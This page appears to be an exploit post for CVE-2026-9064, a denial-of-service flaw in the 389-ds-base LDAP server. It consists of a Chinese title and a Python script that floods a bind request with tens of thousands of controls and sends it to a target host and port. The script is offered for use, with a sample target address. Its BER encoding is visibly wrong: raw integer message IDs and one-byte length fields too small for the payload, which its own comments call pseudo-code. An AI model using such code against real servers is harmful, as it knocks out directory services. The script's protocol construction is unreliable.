CVE-2026-9064 389-ds-base LDAP服务拒绝服务漏洞

import socket import struct # Exploit Concept for CVE-2026-9064 # This script demonstrates how to send a crafted LDAP message with excessive controls. LDAP_MESSAGE_ID = 1 LDAP_BIND_REQUEST = 0x60 LDAP_CONTROL_OID = "1.3.6.1.4.1.4203.666.5.16" # Example OID def build_ldap_control(oid): """Build a minimal LDAP control BER encoding.""" oid_bytes = oid.encode('utf-8') # Control ::= SEQUENCE { controlOID LDAPOID, criticality BOOLEAN DEFAULT FALSE, controlValue OCTET STRING OPTIONAL } # Minimal structure: OID + Criticality(False) return b"\x30" + struct.pack('>B', len(oid_bytes) + 2) + b"\x04" + struct.pack('>B', len(oid_bytes)) + oid_bytes + b"\x01" + b"\x01" + b"\x00" def build_exploit_packet(num_controls): """Build an LDAP Bind Request with excessive controls.""" controls = b"" for _ in range(num_controls): controls += build_ldap_control(LDAP_CONTROL_OID) # Simplified LDAP Message structure # messageID + bindRequest + [controls] # This is a conceptual representation; actual BER encoding requires strict length calculation. header = struct.pack('>I', LDAP_MESSAGE_ID) bind_req = b"\x60" + b"\x03" + b"\x01" + b"\x01" + b"\x00" # Simple Bind Version 3, Anonymous # Construct controls part (A0 context-specific) controls_wrapper = b"\xA0" + struct.pack('>B', len(controls)) + controls return header + bind_req + controls_wrapper def send_exploit(target_ip, target_port, num_controls=100000): """Send the exploit to the target server.""" try: payload = build_exploit_packet(num_controls) # Note: Actual BER encoding length fields (L in TLV) need to handle multi-byte if > 127 bytes. # This pseudo-code assumes a simplified single-byte length for demonstration. # Real exploit requires precise BER construction. sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_ip, target_port)) sock.sendall(payload) print(f"[+] Sent payload with {num_controls} controls to {target_ip}:{target_port}") sock.close() except Exception as e: print(f"[-] Error: {e}") # Usage # send_exploit("192.168.1.100", 389, num_controls=200000)